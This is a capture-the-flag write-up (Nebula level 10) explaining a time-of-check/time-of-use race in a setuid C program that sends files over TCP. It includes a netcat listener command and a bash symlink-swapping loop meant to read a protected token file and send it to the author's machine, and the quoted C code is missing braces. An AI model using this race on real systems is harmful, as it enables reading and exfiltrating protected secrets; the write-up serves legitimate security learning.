Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
120 lines (93 sloc) 3.77 KB

###Level 10

####Introduction This code takes advantage of a time-of-use to time-of-check bug. What we need to do is swap out the file in between the time of check and the time of use. This is this code we are given

#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>

int main(int argc, char **argv)
  char *file;
  char *host;

  if(argc < 3) {
      printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]);

  file = argv[1];
  host = argv[2];

  if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);

#define HITHERE ".oO Oo.\n"
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
#undef HITHERE

      printf("Connected!\nSending file .. "); fflush(stdout);

      ffd = open(file, O_RDONLY);
      if(ffd == -1) {
          printf("Damn. Unable to open file\n");

      rc = read(ffd, buffer, sizeof(buffer));
      if(rc == -1) {
          printf("Unable to read from file: %s\n", strerror(errno));

      write(fd, buffer, rc);

      printf("wrote file!\n");

  } else {
      printf("You don't have access to %s\n", file);

To understand more of the TOCTOU look at the man for the access function

access() checks whether the calling process can access the file path‐ name. The check is done using the calling process’s real UID and GID, rather than the effective IDs as is done when actually attempting an operation (e.g., open(2)) on the file.


So if we can get the access() check to pass using a file we (level10) actually has access to and then switch the file for one that we actually want to read before the open call is made, we can exploit this code.

We can do this using symlinks. However, first we need to find the IP address of the machine we want to send the contents of the file to

For my purposes I wanted to send it to my computer that this VM is running on. I found that ip by running netstat -rn on the VM and finding the IP of the gateway. This IP is the IP of my computer.

I can test this by opening a TCP port on my computer using nc -lk 18211 and then running the script on the VM with a random file that I have access to. ./flag10 /tmp/token will try to send the contents of the file /tmp/token to my computer. Sure enough it worked!

Now to start the symlink race condition

I made a bash script that will repeatedly remake symlinks between the file I want, a random file and a file I have access to.

while true; 
  ln -sf /home/flag10/token exploit_link; 
  ln -sf /tmp/fake_token exploit_link; 

I then ran this script in the background using &
Essentially I am going to pass in exploit_link to the vulnerable code and hope that at access() is called while the symlink to /tmp/fake_token is active since I have access to that file.

I am then hoping that the symlink to the real token is replaced before open() is called on exploit_link

If this happens I should see the contents of the token file print on the TCP connection on my computer.